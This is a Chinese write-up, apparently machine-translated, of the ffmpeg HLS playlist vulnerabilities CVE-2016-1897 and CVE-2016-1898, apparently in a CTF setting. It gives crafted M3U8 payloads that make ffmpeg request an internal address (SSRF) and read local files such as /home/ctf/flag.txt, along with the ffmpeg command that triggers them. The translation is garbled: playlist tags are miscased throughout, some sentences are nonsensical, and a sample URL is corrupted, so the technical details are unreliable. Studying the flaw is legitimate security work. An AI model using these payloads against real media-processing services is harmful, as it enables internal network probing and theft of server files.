ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)
在FFMPEG2.x中的010-110由于无法处理HTTP实时流式流M3U8文件,因此它可以导致具有任意文件读取漏洞的SSRF漏洞。当网站允许用户上传多媒体文件并使用FFMPEG处理它们时,会触发此漏洞。该漏洞有两个CVE数字,即CVE-2016-1897和CVE-2016-1898。它们之间的区别是要读取文件的行数。 CVE-2016-1897只能读取文件的第一行,而CVE-2016-1898可以读取文件的任何行。原理基本上是相同的,所以让我们在这里一起分析。
HLS(HTTP Live Streaming)
由于漏洞是在解析HLS流媒体文件时发生的,因此我们必须首先了解HLS。HLS(HTTP实时流)是基于Apple开发的HTTP协议的流通信协议。其中大多数用于PC和iPhone。它的基本原理是将视频流分为许多小型,小和小的TS流文件,然后通过HTTP下载它,一次下载一点。启动新的流媒体会话时,客户端将首先下载一个M3U8(播放列表播放列表)文件,该文件包含此HLS会话的所有数据。
http://pl.youku.com/playlist/m3u8?vid=340270152Type=3GPHDTS=1462714824KeyFrame=0ep=dessge6mussc5yb EIZ8BYIXIIIZDXP0O9H2CGDNNATQNS%2BM2SID=7462714522251312590FABTOOKEN=3319CTYPE=12EV=1OIP=1OIP=3395898128
这是youku视频的M3U8文件,内容如下:
#Extm3U
#Ext-X-TargetDuration:6
#Ext-X-Version:2
#Extinf:6,
http://183.60.145.83/69777D60D183EFE8D0BC25A4/030002010056208D059E4E15049976CD642E 01-C8E5-706F-DC6D-375DE0DA5A1E.FLV.TS?TS_START=0TS_END=5.9TS_SEG_NO=0TS_KEYKEYFRAME=1
#Extinf:0,
http://183.60.145.83/69777D60D183EFE8D0BC25A4/030002010056208D059E4E15049976CD642E01 -C8E5-706F-DC6D-375DE0DA5A1E.FLV.TS?TS_START=5.9TS_END=6.367TS_SEG_NO=1TS_KEYFRAME=1
#Ext-X-EndList
分析:
#Extm3U标签是M3U8的文件标头,必须在开始时使用此行。
#Ext-X-TargetDuration表示整个媒体的长度。这是6秒
#ext-x-version:2此标签是可选的
#extinf:6,指示此TS流文件的长度
#ext-x-endlist这等同于文件的末尾
这些是M3U8的最基本标签,问题在于事实是,当FFMPEG请求TS流文件时,由于我们可以伪造M3U8文件,因此FFMPEG不会在内部判断流地址并直接请求。
漏洞原理
SSRF漏洞:直接使用FFMPEG解析多媒体文件
#Extm3U
#Ext-X-Media-sequence:0
#extinf:10.0,http://192.168.123.100:8080/1.html
#Ext-X-EndList
(对于#Ext-X-Media-sequence或#Ext-X-TargetDuration,都不存在。前者是TS流文件的序列号。如果您删除它,您将报告一个错误:无效的文件)

ffmpeg -i test.m3U8 test.mp4(也可以将M3U8格式更改为其他后缀,FFMPEG将自动识别为HLS流文件)

以下方式可以读取文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#Extm3U
#Ext-X-TargetDuration:1
#Extinf:1,
/home/ctf/flag.txt
#Ext-X-EndList
#Extm3U
#Ext-X-PlayList-Type:VOD
#Ext-X-TargetDuration:1
#Ext-X-Version:3
#Ext-X-Media-sequence:0
#extinf:10.0,
file: ///home/ctf/flag.txt
#Ext-X-EndList